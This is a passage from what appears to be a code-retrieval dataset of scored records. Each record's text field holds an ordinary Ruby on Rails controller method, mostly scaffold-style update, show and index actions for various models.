"docid": "73d3391d2d375a051efda4b20eec17b2", "score": "0.59125656", "text": "def update\n @instructor1 = Instructor1.find(params[:id])\n\n respond_to do |format|\n if @instructor1.update_attributes(params[:instructor1])\n format.html { redirect_to @instructor1, notice: 'Instructor1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @instructor1.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cded35006cd974198ef74db2bc3b5af5", "score": "0.5912136", "text": "def update\n @incentive = Incentive.find(params[:id])\n\n respond_to do |format|\n if @incentive.update_attributes(params[:incentive])\n format.html { redirect_to(@incentive, :notice => 'Incentive was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @incentive.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fc7bfa0635738925af3935d16a178850", "score": "0.5911674", "text": "def update\n\n if @penalty.update(penalty_params)\n\n render json: @penalty,status: :ok\n\n else\n\n render json: {error: true,errors: @penalty.errors},status: :unprocessable_entity\n\n end\n\n \t\tend", "title": "" }, { "docid": "08d8508a322f1521a898e01b79c9e7a1", "score": "0.5909913", "text": "def update\n admin_only\n respond_to do |format|\n if @consuming_enrollment.update(consuming_enrollment_params)\n format.html { redirect_to @consuming_enrollment, notice: 'Consuming enrollment was successfully updated.' }\n format.json { render :show, status: :ok, location: @consuming_enrollment }\n else\n format.html { render :edit }\n format.json { render json: @consuming_enrollment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a7704a4a4aa9ee89d6efe43ba135265c", "score": "0.5907736", "text": "def update\n # if @bonus.update(bonus_params)\n # render :show, status: :ok, location: @bonus\n # else\n # render json: @bonus.errors, status: :unprocessable_entity\n # end\n end", "title": "" }, { "docid": "bcf68b99d6249bd8b30c6cd0a8e00bba", "score": "0.5905024", "text": "def update\n cnt = @attendance.num_of_edit + 1\n @attendance.update(num_of_edit: cnt)\n respond_to do |format|\n if @attendance.update(attendance_params)\n format.html { redirect_to @attendance, notice: 'Attendance was successfully updated.' }\n format.json { render :show, status: :ok, location: @attendance }\n else\n format.html { render :edit }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3fc5df681be3a98143caa4d68535edf3", "score": "0.5892372", "text": "def update\n @exprience = Exprience.find(params[:id])\n\n respond_to do |format|\n if @exprience.update_attributes(params[:exprience])\n format.html { redirect_to @exprience, notice: 'Exprience was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exprience.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44f106dbe06b782f959c594f8dfe0ab0", "score": "0.58921987", "text": "def update\n authorize @inquiry\n\n if @inquiry.update(inquiry_params)\n head :no_content\n else\n render json: {errors:@inquiry.errors.messages}, status: :unprocessable_entity\n end\n\n end", "title": "" }, { "docid": "802a57e2e6d01cb1a6b1917a447d1330", "score": "0.58916736", "text": "def update\n @inspiration = Inspiration.find(params[:id])\n \n respond_to do |format|\n if @inspiration.update_attributes(params[:inspiration])\n format.html { redirect_to @inspiration, notice: 'Inspiration was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inspiration.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "86095cbd99e16286a3feeffaa1982a83", "score": "0.58867484", "text": "def update\n respond_to do |format|\n if @appoint_responsible.update(appoint_responsible_params)\n format.html { redirect_to @appoint_responsible, notice: 'Appoint responsible was successfully updated.' }\n format.json { render :show, status: :ok, location: @appoint_responsible }\n else\n format.html { render :edit }\n format.json { render json: @appoint_responsible.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0d907bcc149c99c855b11cde34a8febd", "score": "0.5882918", "text": "def update\n @inning = Inning.find(params[:id])\n\n respond_to do |format|\n if @inning.update_attributes(params[:inning])\n format.html { redirect_to @inning, notice: 'Inning was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inning.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "366c3006ff37d35c46376affec68a294", "score": "0.5875843", "text": "def update\n @event_interest = EventInterest.find(params[:id])\n\n respond_to do |format|\n if @event_interest.update_attributes(params[:event_interest])\n format.html { redirect_to @event_interest, notice: 'Event interest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event_interest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e90ad74db41898b9639103459bb3f49", "score": "0.58709186", "text": "def update\n @apprentice = Apprentice.find(params[:id])\n\n respond_to do |format|\n if @apprentice.update_attributes(params[:apprentice])\n format.html { redirect_to @apprentice, notice: 'Apprentice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @apprentice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c3d1a883922dbfe66623e88121088196", "score": "0.58705825", "text": "def update\n respond_to do |format|\n if @infection.update(infection_params)\n format.html { redirect_to @infection, notice: 'Infection was successfully updated.' }\n format.json { render :show, status: :ok, location: @infection }\n else\n format.html { render :edit }\n format.json { render json: @infection.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ef3dfc97885dffb0ae06b626f339f369", "score": "0.5870477", "text": "def update\n @complaint = Complaint.find(params[:id])\n\n if @complaint.update_attributes(params[:complaint])\n head :no_content\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "bec4ee929b6e6fc69427419933b09b5b", "score": "0.58694607", "text": "def update\n respond_to do |format|\n if @accident_item.update(accident_item_params)\n format.html { redirect_to @accident_item, notice: 'Accident item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @accident_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1167cd27cd1fb43f4943b64e7be17837", "score": "0.58611536", "text": "def update\n ingredient.update(ingredient_params)\n render json: ingredient\n end", "title": "" }, { "docid": "d947fac511f2b4e77a8bc5f11136e5cb", "score": "0.5857849", "text": "def update\n respond_to do |format|\n if @benefit_requested.update(benefit_requested_params)\n format.html { redirect_to @benefit_requested, notice: 'Benefit requested was successfully updated.' }\n format.json { render :show, status: :ok, location: @benefit_requested }\n else\n format.html { render :edit }\n format.json { render json: @benefit_requested.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c4c62fa77ede67d16814be9de96af02c", "score": "0.5853865", "text": "def update\n respond_to do |format|\n if @claim.update(claim_params)\n format.html { redirect_to @claim, notice: 'Claim was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @claim.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "54f95a361000b6219275e377b8bf4555", "score": "0.5851043", "text": "def update options={}\n client.put(\"/#{id}\", options)\n end", "title": "" }, { "docid": "db3d39b05fd7eebc12c412b218869f81", "score": "0.5850154", "text": "def update\n respond_to do |format|\n if @incident.update(incident_params)\n format.html { redirect_to @incident, notice: 'Incident was successfully updated.' }\n format.json { render :show, status: :ok, location: @incident }\n else\n format.html { render :edit }\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "db3d39b05fd7eebc12c412b218869f81", "score": "0.5850154", "text": "def update\n respond_to do |format|\n if @incident.update(incident_params)\n format.html { redirect_to @incident, notice: 'Incident was successfully updated.' }\n format.json { render :show, status: :ok, location: @incident }\n else\n format.html { render :edit }\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "db3d39b05fd7eebc12c412b218869f81", "score": "0.5850154", "text": "def update\n respond_to do |format|\n if @incident.update(incident_params)\n format.html { redirect_to @incident, notice: 'Incident was successfully updated.' }\n format.json { render :show, status: :ok, location: @incident }\n else\n format.html { render :edit }\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "482c5c0c8ab9ab3440c7a03163df74c4", "score": "0.5841714", "text": "def update\n respond_to do |format|\n if @employer_liability_insurance.update(employer_liability_insurance_params)\n # format.html { redirect_to @employer_liability_insurance, notice: 'Accident insurance was successfully updated.' }\n format.html { redirect_to insurances_url, notice: 'Insurance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @employer_liability_insurance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "58a7b3d6e1e84f53f4af204f52fee740", "score": "0.583915", "text": "def update\n @income_entry = IncomeEntry.find(params[:id])\n\n respond_to do |format|\n if @income_entry.update_attributes(params[:income_entry])\n format.html { redirect_to @income_entry, notice: 'Income entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @income_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e501c7a24683922fee753860e84341df", "score": "0.5835037", "text": "def update\n respond_to do |format|\n if @agreement.update(agreement_params)\n format.html { redirect_to @agreement, notice: 'Agreement was successfully updated.' }\n format.json { render :show, status: :ok, location: @agreement }\n else\n format.html { render :edit }\n format.json { render json: @agreement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b510f3891c232d05eaed2566f2a2335", "score": "0.583263", "text": "def update\n respond_to do |format|\n if @req.update(req_params)\n flash[:notice] = \"Your requirement has been saved\"\n format.html { redirect_to @req }\n format.json { render :show, status: :ok, location: @req }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @req.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6241dff85d862ff0a90034658a460f65", "score": "0.5831572", "text": "def update\n respond_to do |format|\n if @congress.update(congress_params)\n format.html { redirect_to @congress, notice: 'Congress was successfully updated.' }\n format.json { render :show, status: :ok, location: @congress }\n else\n format.html { render :edit }\n format.json { render json: @congress.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b088c8c3c9f9b873fce5bee6568f33cc", "score": "0.5831436", "text": "def update\n @gift_request = GiftRequest.find(params[:id])\n \n respond_to do |format|\n if @gift_request.update_attributes(params[:gift_request])\n format.html { redirect_to @gift_request, notice: 'Gift request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gift_request.errors.full_messages.to_sentence, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "08020b7856f310d521491a57a4da182a", "score": "0.5830492", "text": "def update\n @getadvice = Getadvice.find(params[:id])\n\n respond_to do |format|\n if @getadvice.update_attributes(params[:getadvice])\n format.html { redirect_to @getadvice, notice: 'Getadvice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @getadvice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "96c0d01eb1051a3269a16255c670a1cc", "score": "0.58294106", "text": "def update\n respond_to do |format|\n if @callout.update(callout_params)\n format.html { redirect_to @callout, notice: 'Callout was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @callout.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0da246670aac6789b9716f32ec1c35b3", "score": "0.5828579", "text": "def update\n update_resource @ride, ride_params\n end", "title": "" }, { "docid": "58b21b07811a468bcafb3c4f61ba2ea5", "score": "0.5828496", "text": "def update\n @income = Income.find(params[:id])\n\n respond_to do |format|\n if @income.update_attributes(params[:income])\n format.json { head :ok }\n format.js\n else\n format.json { render json: @income.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "title": "" }, { "docid": "ba767f148d6fc94945dfe85bc75c6688", "score": "0.5827097", "text": "def update\n respond_to do |format|\n if @issuance.update(issuance_params)\n format.html { redirect_to @issuance, notice: 'Issuance was successfully updated.' }\n format.json { render :show, status: :ok, location: @issuance }\n else\n format.html { render :edit }\n format.json { render json: @issuance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ba767f148d6fc94945dfe85bc75c6688", "score": "0.5827097", "text": "def update\n respond_to do |format|\n if @issuance.update(issuance_params)\n format.html { redirect_to @issuance, notice: 'Issuance was successfully updated.' }\n format.json { render :show, status: :ok, location: @issuance }\n else\n format.html { render :edit }\n format.json { render json: @issuance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ba767f148d6fc94945dfe85bc75c6688", "score": "0.5827097", "text": "def update\n respond_to do |format|\n if @issuance.update(issuance_params)\n format.html { redirect_to @issuance, notice: 'Issuance was successfully updated.' }\n format.json { render :show, status: :ok, location: @issuance }\n else\n format.html { render :edit }\n format.json { render json: @issuance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3911e1a0221b1a9863abea430c3545ad", "score": "0.58267903", "text": "def update\n if @bookkeeping.update(bookkeeping_params)\n head :no_content\n else\n render json: @bookkeeping.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d82d4d5f075b63d1365748eeca4d2f98", "score": "0.5825131", "text": "def update\n @accreditation = Accreditation.find(params[:id])\n\n respond_to do |format|\n if @accreditation.update_attributes(params[:accreditation])\n format.html { redirect_to @accreditation, notice: 'Accreditation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @accreditation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7c78b69c5887af4ceed52865a44159a1", "score": "0.5823095", "text": "def update\n respond_to do |format|\n if @innapropiate.update(innapropiate_params)\n format.html { redirect_to @innapropiate, notice: 'Innapropiate was successfully updated.' }\n format.json { render :show, status: :ok, location: @innapropiate }\n else\n format.html { render :edit }\n format.json { render json: @innapropiate.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09d539e142f2a7c50ab01cce98da9259", "score": "0.5821595", "text": "def update\n respond_to do |format|\n if @assessment.update(assessment_params)\n format.html { redirect_to @assessment, notice: 'Assessment was successfully updated.' }\n format.json { render :show, status: :ok, location: @assessment }\n else\n format.html { render :edit }\n format.json { render json: @assessment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09d539e142f2a7c50ab01cce98da9259", "score": "0.5821595", "text": "def update\n respond_to do |format|\n if @assessment.update(assessment_params)\n format.html { redirect_to @assessment, notice: 'Assessment was successfully updated.' }\n format.json { render :show, status: :ok, location: @assessment }\n else\n format.html { render :edit }\n format.json { render json: @assessment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "17ddee24f6bae8a9c2e5171b5aff0c83", "score": "0.5819502", "text": "def update\n @attending = Attending.find(params[:id])\n\n respond_to do |format|\n if @attending.update_attributes(params[:attending])\n format.html { redirect_to @attending, notice: 'Your RSVP was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attending.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "57fbdbc436cfcfc44f54cfb39ba79b13", "score": "0.58150244", "text": "def update\n relationship = Relationships.find(params[:id])\n if relationship.update(relationship_params)\n render json: relationship, status: 200\n else\n render json: { errors: relationship.errors }, status: 422\n end\n end", "title": "" } ]
163f47404e88e165727af8e3aac1fe77
GET /customers/1 PRINT TEST GET /customers/1.xml
[ { "docid": "9cf6fda6c1973311be96854715229738", "score": "0.6679654", "text": "def printview\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @customer }\n end\n end", "title": "" } ]
[ { "docid": "0bab4581e717b8b7cf93cab6d6c3b68c", "score": "0.64527464", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @customer }\n end\n end", "title": "" }, { "docid": "0bab4581e717b8b7cf93cab6d6c3b68c", "score": "0.64527464", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @customer }\n end\n end", "title": "" }, { "docid": "85f2afa4fde2a1bf0cada7b9d2c1a5db", "score": "0.6420671", "text": "def show\n @self_service_customer = SelfService::Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @self_service_customer }\n end\n end", "title": "" }, { "docid": "6d3a32508c4e8bfe5c3ee5573073ddf2", "score": "0.6316407", "text": "def show\n\t\tshow_\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @customer }\n\t\tend\n\tend", "title": "" }, { "docid": "d0fe9d91dc637a261f73420fe0cffa65", "score": "0.62681514", "text": "def show\n @customer_info = CustomerInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @customer_info }\n end\n end", "title": "" }, { "docid": "360133f338e28c4eaa1bbb88f8184876", "score": "0.6163435", "text": "def get_customer(id)\n get(\"customers/#{id}\")\n end", "title": "" }, { "docid": "360133f338e28c4eaa1bbb88f8184876", "score": "0.6163435", "text": "def get_customer(id)\n get(\"customers/#{id}\")\n end", "title": "" }, { "docid": "62c68694bbc2f86d61d3f1696822d518", "score": "0.6122188", "text": "def index\n\n if (params[:show] == \"all\")\n @customers = Customer.all\n else\n @customers = Customer.find_active\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @customers }\n end\n end", "title": "" }, { "docid": "3a77e687659d59de6b9a8591ef69153f", "score": "0.6083608", "text": "def index\n\t\tindex_\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @customers[:recordset] }\n\t\tend\n\tend", "title": "" }, { "docid": "95a5b629819ab69df88e2d633d6a9848", "score": "0.6055683", "text": "def index\n @customer_infos = CustomerInfo.paginate :page => params[:page], :order => \"cust_id asc\", :per_page => 10\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @customer_infos }\n end\n end", "title": "" }, { "docid": "1dad8605e4f210dd6dc1402ec55502cc", "score": "0.6048535", "text": "def customer(customer_id)\n client.get \"customers/#{inst_id}/#{customer_id}\"\n end", "title": "" }, { "docid": "66a6b39b6b1ba1fdfc2508d0879517c3", "score": "0.60006994", "text": "def index\n CashRegister.update_all_devicenodes\n @customers = Customer.scopied.page(params[:page]).per(25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @customers }\n end\n end", "title": "" }, { "docid": "8b1783e307539a116d1de9cddcc329ee", "score": "0.598181", "text": "def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend", "title": "" }, { "docid": "e3a04cbca49f8a326899d7db9c278272", "score": "0.59778166", "text": "def index\n# @customers = Customer.all\n#pagination:\n\t@customers = Customer.all.paginate :per_page => 5, :page => params[:page]\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @customers }\n end\n end", "title": "" }, { "docid": "331e5ba5adb7eb2e3d683c49025e411f", "score": "0.59685814", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html { render :layout => false }# show.html.erb\n format.xml { render :xml => @customer }\n end\n end", "title": "" }, { "docid": "b9367101b177ed7a5dfa694d408229cd", "score": "0.59271526", "text": "def show\n @customer_order = CustomerOrder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @customer_order }\n end\n end", "title": "" }, { "docid": "90ffc04eb01b55e8a208012f6a17f595", "score": "0.5903002", "text": "def customer_list\n perform_get_request('/customer/list')\n end", "title": "" }, { "docid": "6fa17d2d565cfed8e0d67268e82d035f", "score": "0.58864397", "text": "def getCustomerList (uri = \"/Users/mdglissmann/Dropbox/intelhub/sample data/Fake Name Generator/FakeNameGenerator.com_10d88809.zip\")\n\t\t# which customer list are we interested in?\n\t\t# does customer list exist?\n\t\tif @customers.nil?\n\t\t\tputs \"No customers specified...\"\n\t\t\tputs \"Reading customer file...\"\n\t\t\tfile = unzip(uri)\n\t\telse\n\t\t\tputs @customers\n\t\tend\n\n\t\tfile\n\tend", "title": "" }, { "docid": "04339de0fe1aa839fdf3aa54c064746f", "score": "0.58832234", "text": "def index\n @customers = current_user.customers.paginate(:per_page => 20, :page => params[:page], :order => 'name', :include => :transactions)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @customers }\n end\n end", "title": "" }, { "docid": "71c9b4f962f0d8ed0240f78347c2b250", "score": "0.5834217", "text": "def show\n @customer = current_user.customers.find(params[:id], :include => :orders)\n @orders = @customer.orders.paginate(:per_page => current_user.profile.orders_per_page, :page => params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @customer }\n end\n end", "title": "" }, { "docid": "74265ef85400f0acd77bab503a51ef2d", "score": "0.58045363", "text": "def show\n @custmer = Custmer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @custmer }\n end\n end", "title": "" }, { "docid": "c63d01cc01f0073cce98ca85347cb7b7", "score": "0.57795274", "text": "def info\n CouchRest.get \"#{@uri}/\"\n end", "title": "" }, { "docid": "c83b4369464919ce264f239a38b36833", "score": "0.57775426", "text": "def get_all_orders() \n\tputs \"Getting all orders\"\n\tresponse = request_get(\"/api/order\")\n\tputs response.body\nend", "title": "" }, { "docid": "57ff96a07fd9130d219415b45be86e41", "score": "0.5771509", "text": "def list\n @customers = Customer.all\n\n respond_to do |format|\n format.html { render action: \"index\" }\n format.json { render json: @customers }\n end\n end", "title": "" }, { "docid": "e7f81a2db5836675357a443a3156c552", "score": "0.5748806", "text": "def get_products()\n\tputs \"Getting products\"\n\tresponse = request_get(\"/api/product\")\n\tputs response.body\nend", "title": "" }, { "docid": "dd62a982095373da5ed5fdc7f02d2ff5", "score": "0.574129", "text": "def show\n @customers = @manifest.get_customers()\n @puntos = @manifest.get_puntos()\n @locations = @manifest.get_locations()\n @cargas = @manifest.get_cargas()\n\n \n end", "title": "" }, { "docid": "83737f889cfdd2762f9424582e60a8dc", "score": "0.57301044", "text": "def retrieve(params = {})\n req = WebPay::CustomerIdRequest.create(params)\n raw_response = @client._request(:get, 'customers' + '/' + req.id.to_s, req)\n WebPay::CustomerResponse.new(raw_response)\n end", "title": "" }, { "docid": "9d39f3e6bb0db40d5ed5de841db47efb", "score": "0.5722094", "text": "def show\r\n @customer = Customer.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render :json => @customer }\r\n end\r\n end", "title": "" }, { "docid": "3a07c9c9d99e1d41d17e894c2dc25045", "score": "0.5707828", "text": "def index\n @customers = get_customers(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.haml\n format.js # index.js.rjs\n format.xml { render :xml => @customers }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.5651005", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.5651005", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.5651005", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.5651005", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.5651005", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.5651005", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "db16f586b3767b66be7a85bcbba62c8d", "score": "0.5646971", "text": "def get_substrates()\n\tputs \"Getting list of substrates.\"\n\tresponse = request_get('/api/partner/substrate')\n\tputs response.body\nend", "title": "" }, { "docid": "fca4d4969a54b345ba090ec1d7e1d784", "score": "0.56438285", "text": "def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end", "title": "" }, { "docid": "2ee30b413edb445ce1c4386e27282403", "score": "0.5635505", "text": "def show\n @client = Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @client }\n end\n end", "title": "" }, { "docid": "f28ce29cc64aa0f9078f4871c90244e2", "score": "0.5624778", "text": "def customers(options = {})\n perform_get_with_object('/customers', options, Epages::CustomersResponse)\n end", "title": "" }, { "docid": "630851ce56d9403624e4e9a173675d63", "score": "0.5606088", "text": "def show\n @customer = customers.find(params[:id])\n end", "title": "" }, { "docid": "ff70506b87adaeac22cba52d01851df0", "score": "0.560523", "text": "def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end", "title": "" }, { "docid": "ee51d1ef1de539416cde11c8c86fc83f", "score": "0.5604705", "text": "def show\n @client = Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @client }\n end\n end", "title": "" }, { "docid": "ee51d1ef1de539416cde11c8c86fc83f", "score": "0.56046313", "text": "def show\n @client = Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @client }\n end\n end", "title": "" }, { "docid": "ee51d1ef1de539416cde11c8c86fc83f", "score": "0.56046313", "text": "def show\n @client = Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @client }\n end\n end", "title": "" }, { "docid": "187bd2cbf2d88949349abaf0b728d86a", "score": "0.56042355", "text": "def all(params = {})\n req = WebPay::BasicListRequest.create(params)\n raw_response = @client._request(:get, 'customers', req)\n WebPay::CustomerResponseList.new(raw_response)\n end", "title": "" }, { "docid": "6140558a11b58fed7731892a4ec74621", "score": "0.56024075", "text": "def all(params = {})\n handle_all_request(\"/customers\", :customers, params)\n end", "title": "" }, { "docid": "162fdd4b9e9881932d6325bead7c4860", "score": "0.55978423", "text": "def show\n @customer_payment = CustomerPayment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @customer_payment }\n end\n end", "title": "" }, { "docid": "129cd536006c6667f12c20c5a9c16857", "score": "0.5592155", "text": "def list\n display_customers\n end", "title": "" }, { "docid": "60e53de7d7c9e0d8ac77c19debf850c4", "score": "0.55876905", "text": "def index\n @clients = Client.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @client }\n end\n end", "title": "" }, { "docid": "d83679f6ee064696ab178827483a4717", "score": "0.5575513", "text": "def index\n @clients = Client.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @clients }\n end\n end", "title": "" }, { "docid": "bc4b150605e1e45d51334eda81dd6da4", "score": "0.5564802", "text": "def getXMLTicket(path)\n resp2 = @@conn.get do |req|\n req.url path\n req.headers['Authorization'] = 'Basic aHIuc2VsbGVydEBnbWFpbC5jb206c2VzMTEy' #@TODO make this a param\n req.headers['Content-Type'] = 'application/xml'\n end\n # puts \"Responce : \" + resp2['body'].inspect\n # puts \"Responce2 : \" + resp2.body.to_s()\n \n return resp2.body.to_s()\n end", "title": "" }, { "docid": "f09535132fe202f9285565011bd5d31e", "score": "0.55586696", "text": "def list_customer(custid = nil, email = nil)\r\n\r\n raise ArgumentError.new('Customer Id and email are nil.') if custid.nil? && email.nil?\r\n \r\n suburl = \"&action=list_customer&nodocs=1\" \r\n \r\n if !custid.nil? && email.nil?\r\n suburl << \"&custid=\" + custid.to_s\r\n elsif custid.nil? && !email.nil? \r\n suburl << \"&email=\" + email\r\n elsif !custid.nil? && !email.nil?\r\n suburl << \"&custid=\" + custid.to_s + \"&email=\" + email\r\n end\r\n\t \r\n call_target_url(suburl) # call private method\r\n\r\n end", "title": "" }, { "docid": "7773f85edb2414d944c520f4facf6f16", "score": "0.5556465", "text": "def show\n @customer = Customer.find(params[:id])\t\n end", "title": "" }, { "docid": "4fb99988e5d078b0e2e11bb18367cbb2", "score": "0.55437165", "text": "def show\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cliente }\n end\n end", "title": "" }, { "docid": "4fb99988e5d078b0e2e11bb18367cbb2", "score": "0.55437165", "text": "def show\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cliente }\n end\n end", "title": "" }, { "docid": "3a18feea69231f7388fd2a60528afe5a", "score": "0.5542116", "text": "def show\n @services_charger = ServicesCharger.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @services_charger }\n end\n end", "title": "" }, { "docid": "01fe8f171d55280b1820cacc68fe4b6c", "score": "0.5536914", "text": "def show\n @customers = Customer.all\n end", "title": "" }, { "docid": "01fe8f171d55280b1820cacc68fe4b6c", "score": "0.5536914", "text": "def show\n @customers = Customer.all\n end", "title": "" }, { "docid": "87c62e0268504990212fcae4d802e631", "score": "0.5528448", "text": "def show\n @ccl = Ccl.find(params[:id])\n\n respond_to do |format|\n format.html # 